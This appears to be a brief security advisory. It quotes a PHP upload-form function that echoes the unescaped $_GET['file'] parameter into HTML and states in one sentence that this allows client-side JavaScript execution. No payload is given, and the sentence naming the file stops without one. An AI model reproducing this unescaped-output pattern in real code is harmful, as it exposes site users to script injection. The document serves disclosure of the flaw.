Vulnerable code

The vulnerability is located in the file

        public function showUploadForm()
        {
            $this->file = $_GET['file'];
            echo '<h3>' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this->file . "</h3>\n";
            echo '<form enctype="multipart/form-data" name="frmUpload" method="POST" action="' . $this->wiki->href('upload', $this->wiki->GetPageTag()) . "\">\n"
                . ' <input type="hidden" name="wiki" value="' . $this->wiki->GetPageTag() . "/upload\" />\n"
                . ' <input type="hidden" name="MAX_FILE_SIZE" value="' . $this->attachConfig['max_file_size'] . "\" />\n"
                . " <input type=\"hidden\" name=\"file\" value=\"$this->file\" />\n"
                . " <input type=\"file\" name=\"upFile\" size=\"50\" /><br />\n"
                . ' <input class="btn btn-primary" type="submit" value="' . _t('ATTACH_SAVE') . "\" />\n"
                . "</form>\n";
        }

PoC

1. You need to send a request to endpoint and abusing the file parameter, we can successfully obtain client side javascript execution
